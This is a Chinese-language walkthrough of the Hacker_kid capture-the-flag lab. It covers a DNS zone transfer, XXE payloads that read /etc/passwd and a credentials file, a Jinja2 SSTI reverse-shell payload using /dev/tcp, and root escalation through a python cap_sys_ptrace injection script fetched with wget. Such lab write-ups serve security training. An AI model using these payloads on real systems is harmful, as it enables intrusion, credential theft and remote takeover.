第七周-Hacker_kid -v1
一、目标及攻击方法
1.1、目标:
拿下root权限
1.2、攻击方法
主机发现
端口扫描
web信息搜集
DNS区域传输
XXE注入攻击
SSTI模板注入
Capabilitie提权
二、信息搜集
2.1、主机发现
sudo arp-scan -l |
发现目标靶机ip地址10.0.2.10
2.2、端口扫描
对目标靶机进行扫描
nmap -p- 10.0.2.10 |
发现开放的端口
nmap -sV -p 53,80,9999 10.0.2.10 |
进一步扫描靶场端口对应的服务
53端口是DNS服务
80端口是web
Tornado:Python轻量级开放框架
dns域名解析,上网使用的是udp的53端口,tcp的53端口在dns服务器上是同时开放的,tcp的53端口会作为同一个域的两台域名服务器数据同步,数据交换的功能。
DNS服务器之间数据传输使用的是 53/tcp
上网,dns域名解析使用的是 53/udp
2.3、web信息搜集
http://10.0.2.10/ |
80端口开放,尝试访问靶机,靶机作者提示使用dig
在访问start 时,页面无法访问,后缀名是html,改成php测试一下。发现能够正常访问。说明网站语言为php
http://10.0.2.10/index.html |
http://10.0.2.10/index.php |
“#” 代表一个网页的标记,可以在同一个页面,插入一个标记,对应的一个链接
访问首页中的app链接,然后点击网页中的链接,发现没有反应。访问其他网页也没收集到更多有用信息
返回首页查看一下首页的源代码,发现源代码中有一段提示:
提示使用get的方式对参数 page_no传参访问页面
三、Burpsuite抓包分析
手动尝试传参几个数字后发现没有任何反应,使用burpsuite的爆破板块,进行尝试。
选择数字从1到100进行爆破尝试
爆破完成后发现21这个参数的长度不一样。
http://10.0.2.10/?page_no=21 |
访问后发现作者提示的信息。存在多个子域名访问这个靶机,其中一个域名是hackers.blackhat.local
Tip:单个服务器绑定多个网站常见做法
- 单服务器绑定多个IP,不用网站访问不同的IP
- 只有一个IP,不同的网站访问不同端口
- 只有一个IP和一个端口,不同网站使用不同的主机头(域名)
四、DNS区域传输
修改攻击的hosts文件
sudo vim /etc/hosts |
将域名绑定到对应的ip上
访问http://hackers.blackhat.local/
发现页面并无变化,尝试使用dig
4.1、Dig工具利用
dig(域信息搜索器)命令是一个用于询问 DNS 域名服务器的灵活的工具。 它执行 DNS 搜索,显示从受请求的域名服务器返回的答复。 多数 DNS 管理员利用 dig 作为 DNS 问题的故障诊断,因为它灵活性好、易用、输出清晰。
dig命令需要针对域名axfr 是一个区域传输,可以针对向一个dns服务器发一哥axfr的请求,如果这个服务器支持axfr区域请求的话,他就会把我指定的那个dns区域所有的dns记录都返回。
如果可以成功的话,该区域下的所有的dns记录都会返回。
dig axfr @10.0.2.10 blackhat.local |
4.2、域名解析
发现新的域名mail.blackhat.local
、hackerkid.blackhat.local
、hacker.blackhat.local.blackhat.local
、www.blackhat.local
把这些域名加入Kali主机hosts
文件
将绑定的漏洞尝试一遍后发现只有下面这个域名有用
http://hackerkid.blackhat.local/ |
五、XXE注入攻击
XXE 为xml的外部实体攻击,请求外部资源 会导致恶意用户提交的恶意的xml请求会发送服务器,执行恶意操作。
实现的效果:任意文件读取、ssrf结合、拒绝服务攻击
xml为标记语言,可以自定义标记语言,利用这种自定义的特性,利用xml进行数据传输,数据存储,所有的数据结构都可以通过xml利用。身份认证也可以使用xml,提交身份认证信息。
xml dtd dtd就是用来定义xml文件结构以及数据。 可以从外部引用和加载一下资源,比如说,你的服务器存在XXE漏洞,你内网存放的机密文件,利用XXE漏洞可以读取出来。
对信息随便填充进行注册时发现报错
使用burpsuite抓包对页面进行分析
利用XXE漏洞,在xml里添加外部资源引用的指令。
xxe利用的payload
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]> |
SYSTEM 加入的话,就是引用外部的资源
xxe为变量
将’file:///etc/passwd’ 外部资源的值赋值给xxe这个变量
根据响应包发现该服务器存在xxe漏洞,利用此漏洞,查找相关的内网数据。
发现saket用户可以通过ssh登录的用户,尝试查找数据时,发现一个有用的数据: /home/saket/.bashrc,但直接通过引用外部资源无法读取
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]> |
通过把 .bashrc文件通过base64编码一下,在读取出来。
将响应包中的内容进行解码。发现账号和密码
获取到有用的账号密码信息。
username=”admin”
password=”Saket!#$%@!!”
六、SSTI模板注入
之前在进行信息搜集时,发现的9999端口访问后就是登录页面。
http://10.0.2.10:9999 |
将账号密码输入进行登录时却发现登录不上
根据密码将账号改为Saket,进行登录发现登录成功。
根据页面提示发现name这个参数。
6.1、模板注入
SSTI模板注入:Jinja是一个基于Python设计语言的“全功能模板引擎”
<html> |
Jinja2典型的存在漏洞的服务端代码 |
如果没有对用户输入的user.input没有过滤,那么这个地方可能可以执行任意代码Python代码
6.2、通杀pylaod
{{1+abcxyz}}${1+abcxyz}<%1+abcxyz%>[abcxyz] |
http://10.0.2.10:9999/?name={{1+abcxyz}}${1+abcxyz}%3C%1+abcxyz%%3E[abcxyz] |
页面报错确定存在模板注入
输入
{{7*7}} |
成功执行,进一步验证该页面存在模板注入
6.3、反弹shell
使用kali进行监听
nc -nvlp 7777 |
浏览器执行payload发现页面报错,
http://10.0.2.10:9999/?name={% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/10.0.2.10/7777 0>&1"'}} |
对payload进行url编码,再次进行尝试
%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.2.4%2F7777%200%3E%261%22%27%29%7D%7D |
payload执行成功,kail监听到靶机。
七、Capabilitie提权
7.1、Capabilitie使用
https://man7.org/linux/man-pages/man7/capabilities.7.html 详细介绍capabilities的用法
getcap -r / 2>/dev/null |
查询系统里所有不规则使用capabilities 的命令,因为当前用户权限较低,将报错的信息重定向到/dev/null下
getcap -r |
发现getcap没有加入环境变量,指定sbin目录下getcap
/sbin/getcap -r / 2>/dev/null |
通过上图我们发现python具备cap_sys_ptrace+ep 能力,所以我们可以对其进行利用然后进行提权。这里需要用到一个提权脚本,这个脚本的作用就是对root权限的进程注入python类型shellcode,利用pythono具备的cap_sys_ptrace+ep 能力实现权限提升,该脚本如果执行成功,会在靶机的本地监听5600端口,我们也可以修改shellcode部分让其监听其他端口。
查询系统上以root权限运行的程序
ps -aef | grep root |
7.2、exp传到靶机上
在监听靶机中将目录切换到tmp目录下
cd /tmp |
打开kail的web服务,为exp传送到靶机上做准备。
python -m http.server 80 |
cat inject.py |
保存到kali中
访问一下kali的web页面确定inject.py的路径
wget http://10.0.2.4/Desktop/inject.py |
在靶机中执行命令下载exp
7.3、exp执行
在进程中执行脚本
python2.7 inject.py 785 |
脚本注入成功后会启动tcp 5600端口,查看本地监听
netstat -ano |grep 5600 |
7.4、nc监听
使用kali进行nc监听
nc 10.0.2.10 5600 |
查看权限,提权成功。